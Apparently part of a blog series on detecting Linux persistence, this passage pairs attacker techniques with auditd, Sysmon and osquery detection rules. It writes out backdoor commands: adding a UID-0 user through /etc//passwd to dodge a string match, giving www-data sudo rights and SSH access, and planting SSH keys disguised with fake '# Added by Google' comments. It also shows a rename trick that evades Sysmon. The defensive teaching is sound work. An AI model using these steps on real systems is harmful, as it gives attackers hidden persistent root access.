Behind the scenes, commands such as passwd and adduser modify the followings files:

• /etc/gshadow
• /etc/shadow
• /etc/passwd
• /etc/group

Modifications to these files can create valid users even without running the adduser command.

You might notice the creation of /etc/nshadow, /etc/passwd.lock/ and other files. These are byproducts of passwd and usermod command.

Monitoring modifications of these critical files can help detect these kinds of persistence techniques.

2.4 Detection: Using auditd to detect user creation

If we want to natively find these in auditd, we can use the following rules:

-w /etc/group -p wa -k etcgroup  
-w /etc/passwd -p wa -k etcpasswd  
-w /etc/gshadow -k etcgroup  
-w /etc/shadow -k etcpasswd

-w /usr/sbin/useradd -p x -k user_modification  
-w /usr/sbin/adduser -p x -k user_modification
-w /usr/bin/passwd -p x -k passwd_modification

And if we want to add auxilarly actions like adding the user to groups, etc:

-w /etc/sudoers -p rw -k priv_esc  
-w /etc/sudoers.d -p rw -k priv_esc

-w /usr/sbin/usermod -p x -k user_modification  
-w /usr/sbin/userdel -p x -k user_modification  
-w /usr/sbin/groupadd -p x -k group_modification  
-w /usr/sbin/groupmod -p x -k group_modification  
-w /usr/sbin/addgroup -p x -k group_modification  

This will look for:

• Any read/write of the sudoers dir
• Any write or update of the /etc/group or /etc/passwd
• Any action on /etc/gshadow and /etc/shadow
• If specific commands like useradd and usermod are executed

Here is a raw auditd log for etcpasswd

  
type=SYSCALL msg=audit(1637599618.765:11426): arch=c000003e syscall=82 success=yes exit=0 a0=7ffeb8ffa160 a1=564262d92020 a2=7ffeb8ffa0d0 a3=2 items=5 ppid=13573 pid=13578 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=19 comm="useradd" exe="/usr/sbin/useradd" subj==unconfined key="etcpasswd", type=PATH msg=audit(1637599618.765:11426): item=0 name="/etc/" inode=131075 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=1 name="/etc/" inode=131075 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=2 name="/etc/shadow+" inode=131557 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=DELETE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=3 name="/etc/shadow" inode=144749 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=DELETE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=4 name="/etc/shadow" inode=131557 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637599618.765:11426): proctitle=2F7362696E2F75736572616464002D64002F7661722F7777772F002D67006E67696E78002D73002F62696E2F62617368002D750031303032006E67696E78

From here we can see the following:

• comm="useradd" exe="/usr/sbin/useradd" executable being run
• name="/etc/shadow" file being modified
• key="etcpasswd" tag or key from the auditd rule
• proctitle=2F7362... which is the hex encoded title of the process which decods into /sbin/useradd -d /var/www/ -g nginx -s /bin/bash -u 1002 nginx

2.4.1 Note on UID of users

If we look at /etc/passwd we will see this newly created user nginx will have a large UID 100X

messagebus:x:104:105::/nonexistent:/usr/sbin/nologin  
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin  
_chrony:x:106:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin  
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin  
user:x:1000:1001::/home/user:/bin/bash  
nginx:x:1002:1003:,,,:/var/www/:/bin/bash

Although it is true that Linux systems will assign high UIDs to new users, this is only by convention and an attacker can easily modify this so that newly created accounts can appear as system accounts because they have low UIDs.

2.5 Detection: Using sysmon to detect user creation

We have to potential rules available in MSTIC’s config:

• T1136.001_CreateLocalAccount_Commands.xml
• T1087.001_LocalAccount_Commands.xml

    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="TechniqueID=T1087.001,TechniqueName=Account Discovery: Local Account" groupRelation="or">
          <CommandLine condition="contains">/etc/passwd</CommandLine>
          <CommandLine condition="contains">/etc/sudoers</CommandLine>
        </Rule>
        <Rule name="TechniqueID=T1136.001,TechniqueName=Create Account: Local Account" groupRelation="or">
          <Image condition="end with">useradd</Image>
          <Image condition="end with">adduser</Image>
        </Rule>
      </ProcessCreate>
    </RuleGroup>

This will:

• Look for any command that has /etc/passwd in it. This might catch commands that read or write to /etc/passwd
• Look for any commands that us useradd or adduser

This is a good starting point, however, note that we have already discussed that an attacker can effectively create a user without using useradd/adduser.

Also notice, that the T1087.001 only looks for commands that contain the string /etc/passwd. If we can modify /etc/passwd without directly referencing it in the command, then we can bypass that alert as well.

For example, we go do the following commands as root.

echo "nginx:x:0:0::/home/nginx:/bin/bash" >> /etc//passwd
passwd nginx 

This will allow us to create a root user and set it’s password without triggering the 2 alerts above. We didn’t need to use useradd and we were able to reference /etc//passwd and this will not trigger the check for the string /etc/passwd because of the extra / we’ve put.

What we want is something similar

-w /etc/passwd -p wa -k etcpasswd  

Because there are many ways to modify /etc/passwd, /etc/shadow/, etc directly and indirectly, we should have an extra rule to detect any changes to these files. As far as I know, the closest thing we have in sysmon for this is.

    <RuleGroup name="" groupRelation="or">
      <FileCreate onmatch="include">
        <Rule name="etcpasswd" groupRelation="or">
          <TargetFilename condition="contains">/etc/passwd</TargetFilename>
          <TargetFilename condition="contains">/etc/shadow</TargetFilename>
        </Rule>
        <Rule name="etcgroup" groupRelation="or">
          <TargetFilename condition="contains">/etc/group</TargetFilename>
          <TargetFilename condition="contains">/etc/gshadow</TargetFilename>
        </Rule>
      </FileCreate>
    </RuleGroup>

Unfortunately, Sysmon Event ID 11, FileCreate is only triggered when a file is created or overwritten. At the time of writing this blog post, if a file is modified in place, then no event is not triggered.

The rules above will be able to detect modifications done by

vi /etc/passwd
useradd

(This is mainly because of temporary files that these commands make such as /etc/shadow+ but not modifications of /etc/shadow directly)

But not triggered by the following

echo "<TEXT>" >> /etc/passwd
sed -i 's/BEFORE/AFTER/g' /etc/passwd

Worse, even if we are explicitly trying to watch at /etc/shadow, the rule above doesn’t seem to be triggered by the simple

passwd user

This shows that as it is, sysmon will not be completely reliable for file integrity monitoring. In the next blog post, we will show how rules such as T1543.002_CreateModSystemProcess_Systemd.xml might fail to detect installation of systemd services

I would also expand alerting to other user and group modification commands, similar to auditd

    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="group_modification" groupRelation="or">
          <Image condition="end with">groupmod</Image>
          <Image condition="end with">addgroup</Image>
          <Image condition="end with">groupadd</Image>
        </Rule>
        <Rule name="user_modification" groupRelation="or">
          <Image condition="end with">usermod</Image>
          <Image condition="end with">userdel</Image>
        </Rule>
        <Rule name="passwd_modification" groupRelation="or">
          <Image condition="end with">passwd</Image>
        </Rule>
      </ProcessCreate>
    </RuleGroup>

3 Valid Accounts Manipulation: Local Accounts

MITRE: https://attack.mitre.org/techniques/T1098/ and https://attack.mitre.org/techniques/T1078/

3.1 Abusing Legitimate Accounts

3.1.1 Modfying existing accounts

Adversaries may obtain credentials or modify the configuration of existing accounts to maintain persistence. Because these accounts have legitimate purpose, the defenders might have them whitelisted in their alerts or be cautious in doing any significant remediation if they are not familiar with the baseline configuration of the accounts.

In this example, we’ll add a backdoor to the www-data account. We add a password and let wwww-data be a sudo-er

sudo passwd www-data  
sudo usermod -aG sudo www-data

We modify /etc/passwd to allow us to SSH as www-data from

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

to

www-data:x:33:33:www-data:/var/www:/bin/bash

In some server configurations, password authentications might be disabled. We might need to modify /etc/ssh/sshd_config to enable passwords.

PasswordAuthentication yes

And restart service.

sudo service ssh restart

This will now allow an attacker to SSH as www-data and run as sudo.

3.2.2 Other ways of abusing local accounts

Sometimes an attacker might not even need to manipulate an account. Maybe he can just:

• Dump /etc/shadow and crack hashes
• Get private keys in a users .ssh folders
• Downloading CLI service account keys and tokens (GCP and AWS)
• Looking for hardcoded credentials in config files

These might provide more covert ways of maintaining persistence and these are less likely to be detected since they are legitimately used by users.

3.3 Detection: Similar as create account

Similar to creating an account, this might require us to modify files such as /etc/passwd and /etc/shadow so previous detection rules for account creation will also catch this.

Dumping of /etc/shadow will be detected by the auditd rules

-w /etc/shadow -k etcpasswd

For the change in sshd configuration, you can use the following auditd rules

## SSH configuration  
-w /etc/ssh/sshd_config -k sshd  
-w /etc/ssh/sshd_config.d -k sshd

3.4 Detection: Hunting for created or manipulated accounts with osquery

3.4.1 Looking for logged in users

You can query your fleet to found active sessions. There might be a persistence session there you don’t know about.

Query

SELECT type, user, host 
FROM logged_in_users 
WHERE type = 'user';

Result

+------+----------+-----------------+
| type | user     | host            |
+------+----------+-----------------+
| user | www-data | 1.2.3.4 |
| user | user     | 1.2.3.4 |
+------+----------+-----------------+

3.4.2 Look for account with active passwords

When you have secure images that disable password logins by default (like cloud VMs), then you should not see active passwords.

SELECT password_status, username, last_change
FROM shadow 
WHERE password_status = 'active';

+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active          | www-data | 18953       |
| active          | legit    | 18819       |
+-----------------+----------+-------------+\

3.4.3 Look for accounts in special groups

Look for accounts with special permissions that can be used for privesc. Each user should be accounted for.

SELECT uid,  username, groupname 
FROM user_groups 
JOIN users 
USING(uid)
JOIN groups 
ON user_groups.gid=groups.gid 
WHERE 
  (groupname = 'sudo' 
  OR groupname = 'root')
  AND username != 'root';

+------+----------+-----------+
| uid  | username | groupname |
+------+----------+-----------+
| 33   | www-data | sudo      |
| 1001 | legit    | sudo      |
| 1002 | nginx    | sudo      |
+------+----------+-----------+

3.4.4 Look for users that have shells set

It’s possible to login as these users. If system accounts have /bin/bash set then this might be a backdoor.

SELECT uid, username, directory, shell
FROM users 
WHERE shell != "/usr/sbin/nologin";

+------+----------+-------------+-----------+
| uid  | username | directory   | shell     |
+------+----------+-------------+-----------+
| 0    | root     | /root       | /bin/bash |
| 4    | sync     | /bin        | /bin/sync |
| 33   | www-data | /var/www    | /bin/bash |
| 1000 | user     | /home/user  | /bin/bash |
| 1001 | legit    | /home/legit | /bin/bash |
| 1002 | nginx    | /var/www/   | /bin/bash |
+------+----------+-------------+-----------+

3.4.5 Look for commands related to account creation or manipulation

Similar to what we’ve been setting up in auditd and sysmon. In case the attacker did not clean up the bash history, then we might be able to find traces of bad activities.

This also includes checking for authorized_keys

SELECT uid, username, command 
FROM users 
JOIN  shell_history 
USING(uid) 
WHERE  regex_match(command, 'useradd|adduser|passwd|usermod|groupmod|addgroup|groupadd|authorized_keys', 0)  IS NOT NULL;

+------+----------+--------------------------------------------------+
| uid  | username | command                                          |
+------+----------+--------------------------------------------------+
| 0    | root     | passwd www-data                                  |
| 0    | root     | vi /etc/passwd                                   |
| 0    | root     | cat /etc/passwd                                  |
| 0    | root     | echo "ssh-ed25519 AA..." >> .ssh/authorized_keys |
| 1000 | user     | echo "ssh-ed25519 ..." >> authorized_keys        |
| 1000 | user     | usermod -aG sudo legit                           |
| 1000 | user     | sudo usermod -aG sudo legit                      |
| 1001 | legit    | sudo vi authorized_keys                          |
+------+----------+--------------------------------------------------+

3.5 Manual Comands

3.5.1 lastlog

We can use the lastlog to see which users were loggedin recently

>> lastlog | grep -v Never
Username         Port     From             Latest
www-data         pts/1    1.2.3.4  Wed Nov 24 11:17:46 +0000 2021
user             pts/0    1.2.3.4  Wed Nov 24 11:41:22 +0000 2021
legit            pts/1    1.2.3.4   Sun Jul 11 16:18:58 +0000 2021
nginx            pts/1    1.2.3.4  Mon Nov 22 16:59:47 +0000 2021

3.5.2 /var/log/auth.log

Or we can look at recent authentication logs and see which users where used in SSH sessions.

>> cat /var/log/auth.log | grep sshd | grep -i Accepted
Nov 22 16:36:05 test-auditd sshd[13413]: Accepted publickey for user from 1.2.3.4 port 17629 ssh2: ED25519 SHA256:AA...
Nov 22 16:38:42 test-auditd sshd[13446]: Accepted publickey for user from 1.2.3.4 port 18131 ssh2: ED25519 SHA256:AA...
Nov 22 16:54:55 test-auditd sshd[13634]: Accepted publickey for nginx from 1.2.3.4 port 21020 ssh2: ED25519 SHA256:AA...
Nov 22 16:59:46 test-auditd sshd[13683]: Accepted publickey for nginx from 1.2.3.4 port 17676 ssh2: ED25519 SHA256:AA...
Nov 24 10:37:40 test-auditd sshd[11981]: Accepted publickey for user from 1.2.3.4 port 18970 ssh2: ED25519 SHA256:AA...
Nov 24 11:17:45 test-auditd sshd[15854]: Accepted password for www-data from 1.2.3.4 port 18669 ssh2
Nov 24 11:41:21 test-auditd sshd[16566]: Accepted publickey for user from 1.2.3.4 port 17873 ssh2: ED25519 SHA256:AA...

4 Account Manipulation: SSH Authorized Keys

MITRE: https://attack.mitre.org/techniques/T1098/004/

4.1 Adding SSH Authorized Keys

Adding SSH keys is one simple way that an attacker can maintain persistence. Moreover, the authorized_keys file is often abstracted by platforms such as GCP and AWS so engineers rarely interact with these files manually. So if you are able to insert an SSH key, then it will probably stay there for a long time.

The authorized_keys file can be placed in the <home>/.ssh/ directory of each user in the machine.

If we have the following users

root:x:0:0:root:/root:/bin/bash

user:x:1000:1001::/home/user:/bin/bash  
nginx:x:0:0:,,,:/var/www/:/bin/bash

Then the we would want to add our SSH keys in:

• /var/www/.ssh/authorized_keys
• /home/user/.ssh/authorized_key
• /root/.ssh/authorized_keys

Then we can run the following commands

# create .ssh directory if it does not exist  
mkdir /var/www/.ssh

echo "ssh-ed25519 AA ... " >> /var/www/.ssh/authorized_keys  
echo "ssh-ed25519 AA ... " >> /home/user/.ssh/authorized_keys  
echo "ssh-ed25519 AA ... " >> /root/.ssh/authorized_keys

4.2 Some notes on SSH keys in authorized_keys

First, to make it a bit more confusing for the defenders, when adding an SSH key copy the usernames in the other SSH keys.

ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 paul@LP-291221  
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221

The “email address” in SSH keys are simply comments that can be changed to anything. This is much better than having kali in your backdoor SSH keys.

Next, you can add comments to the SSH keys such as

# DO NOT REMOVE  
ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 security-team  
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221

This might be useful for environments such as Google Cloud Platform.

By default, SSH keys are set project wide and added to all instances in the project with the comment # Added by Google . These SSH keys are “managed” and should be automatically removed when the SSH key is deleted in the project. However, I’ve found that when we add a few whitespaces at the end, the SSH keys are not removed even if they are not found in the project-wide metadata server.

So we add our SSH key and add # Added by Google

# Added by Google        
ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 security-team  
# Added by Google  
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221

This makes these SSH keys more likely to be overlooked by defenders.

4.3 Detection: File Integrity Monitoring

By default auditbeat does not monitor these files. You have to know the users of the machine beforehand to be able to monitor the .ssh folder of each user

- module: file_integrity  
  paths:  
  - /bin  
  - /usr/bin  
  - /sbin  
  - /usr/sbin  
  - /etc  
  - /root            # <--- Add  
  - /home/user/.ssh  # <--- Add  
- module: system  
  datasets:  
    - package # Installed, updated, and removed packages

This allows us to detect changes to the authorized_keys of existing users. If additional users are added, these will be out of scope but they should hopefully be detected by the “create/modify user” detection rules we previously discussed.

4.4 Detection: Auditd

Similar to the FIM, we need to explicitly put the directory of each user to be able to monitor it.

-w /root/.ssh -p wa -k rootkey  
-w /home/user/.ssh -p wa -k userkey

This looks for write or updates to those /home/user/.ssh/* and /root/.ssh/*

Here is an example output of the raw auditd log

type=SYSCALL msg=audit(1637609476.111:15803): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=563001182d80 a2=241 a3=1b6 items=2 ppid=15409 pid=15410 auid=1000 uid=1000 gid=1001 euid=1000 suid=1000 fsuid=1000 egid=1001 sgid=1001 fsgid=1001 tty=pts0 ses=50 comm="bash" exe="/usr/bin/bash" subj==unconfined key="userkey", type=PATH msg=audit(1637609476.111:15803): item=0 name=".ssh/" inode=526594 dev=08:01 mode=040700 ouid=1000 ogid=1001 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637609476.111:15803): item=1 name=".ssh/authorized_keys" inode=527241 dev=08:01 mode=0100600 ouid=1000 ogid=1001 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637609476.111:15803): proctitle="-bash"

4.5 Detection: Sysmon

    <RuleGroup name="" groupRelation="or">
      <FileCreate onmatch="include">
        <Rule name="TechniqueID=T1098.004,TechniqueName=Account Manipulation: SSH Authorized Keys" groupRelation="or">
          <TargetFilename condition="contains">authorized_keys</TargetFilename>
          <TargetFilename condition="contains">.ssh</TargetFilename>
        </Rule>
      </FileCreate>
    </RuleGroup>

If we run the command, and a authorized_keys file does not exist yet this will generate a log

echo "ssh-ed25519 AA ... " >> /var/www/.ssh/authorized_keys

<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>11</EventID>
    <Version>2</Version>
   
    <EventRecordID>12463</EventRecordID>
    <Correlation/>
    <Execution ProcessID="20655" ThreadID="20655"/>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>sysmon-test</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1098.004,TechniqueName=Acco</Data>
   
    <Data Name="ProcessId">20667</Data>
    <Data Name="Image">/usr/bin/bash</Data>
    <Data Name="TargetFilename">/var/www/.ssh/authorized_keys</Data>
    <Data Name="CreationUtcTime">2021-11-24 09:22:36.722</Data>
    <Data Name="User">root</Data>
  </EventData>
</Event>

However, if the authorized_keys file already exists then the rule will not be triggered.

Now an attacker can easily bypass this alert by creating the file output of the .ssh folder and not named authorized_keys and renaming it to authorized_keys

echo "ssh-ed25519 AA ... " >> /tmp/keys 
mv /tmp/keys /var/www/.ssh/authorized_keys

There might be something wrong with how I define my rules sysmon rules in linux or it might be the version of sysmon installed in my test VM ,but this really shows that sysmon is not viable for file integrity monitoring as it is.

This would also be problematic for other rules which I am referencing for this:

• T1543.002_CreateModSystemProcess_Systemd.xml
• T1053.003_Cron_Activity.xml
• T1037_BootLogonInitScripts_CommonDirectories.xml

4.6 Detection: OSQuery

Aside from the previous osquery queries, if you have a fleet then one way you can monitor authorized_keys is by getting snapshots of your fleet’s authorized_keys

SELECT authorized_keys.*   
FROM users   
JOIN authorized_keys   
USING(uid)

+----------+-----------------+----------------------------------+
| username | key             | key_file                         |
+----------+-----------------+----------------------------------+
| root     | ssh-ed25519 ... | /root/.ssh/authorized_keys       |
| root     | ssh-ed25519 ... | /root/.ssh/authorized_keys       |
| www-data | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
| www-data | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| legit    | ssh-ed25519 ... | /home/legit/.ssh/authorized_keys |
| nginx    | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
| nginx    | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
+----------+-----------------+----------------------------------+

And investigate the diffs. You can look public keys that are not registered in AWS or GCP. Look SSH keys that are uncommon in your fleet, etc.

Conclusions and What’s next

We’ve seen how account creation and manipulation isn’t just about looking for the useradd command.

We have to also include alerts for modifications of /etc/passwd, /etc/shadow, /etc/gshadow and /etc/group . We also want to look for modifications to authorized_keys. For these file integrity tasks, I’ll stick to auditd and/or auditbeats.

I have yet to find sysmon rules that works well for these scenarios. SysmonForLinux might not be built for this… I’ll ask around and update these blog posts when I get a solution for this.

In the next blog post we’ll go through installed persistence using Systemd, Timers, and Cron.

Photo by Chris Barbalis on Unsplash

Welcome to this blog series “Hunting for Persistence in Linux”! This is a series that explores methods attackers might use to maintain persistent access to a compromised linux system. To do this, we will take an “offense informs defense” approach by going through techniques listed in the MITRE ATT&CK Matrix for Linux. I will try to:

1. Give examples of how an attacker might deploy one of these backdoors
2. Show how a defender might monitor and detect these installations

By giving concrete implementations of these persistence techniques, I hope to give defenders a better appreciation of what exactly they are trying to detect, and some clear examples of how they can test their own alerting.

Each persistence technique has two main parts:

1. How to deploy the persistence techniques
2. How to monitor and detect persistence techniques

In this blog post, we will be focusing more on logging and monitoring, and simply use web shells as an initial example. The rest of the techniques will discuss other techniques in succeeding posts.

The diagram above gives an overview of what will be discussed in this series. [pdf version]

Here is the outline for the series:

• Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells
  • 1 - Server Software Component: Web Shell
• Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation
  • 2 - Create Account: Local Account
  • 3 - Valid Accounts: Local Accounts
  • 4 - Account Manipulation: SSH Authorized Keys
• Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron
  • 5 - Create or Modify System Process: Systemd Service
  • 6 - Scheduled Task/Job: Systemd Timers
  • 7 - Scheduled Task/Job: Cron
• Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration
  • 8 - Boot or Logon Initialization Scripts: RC Scripts
  • 9 - Boot or Logon Initialization Scripts: init.d
  • 10 - Boot or Logon Initialization Scripts: motd
  • 11 - Event Triggered Execution: Unix Shell Configuration Modification
• Hunting for Persistence in Linux (Part 5): Systemd Generators
  • 12 - Boot or Logon Initialization Scripts: systemd-generators
• (WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
  • Modify Authentication Process: Pluggable Authentication Modules
  • Compromise Client Software Binary
  • Boot or Logon Autostart Execution: Kernel Modules and Extensions
  • Hijack Execution Flow: Dynamic Linker Hijacking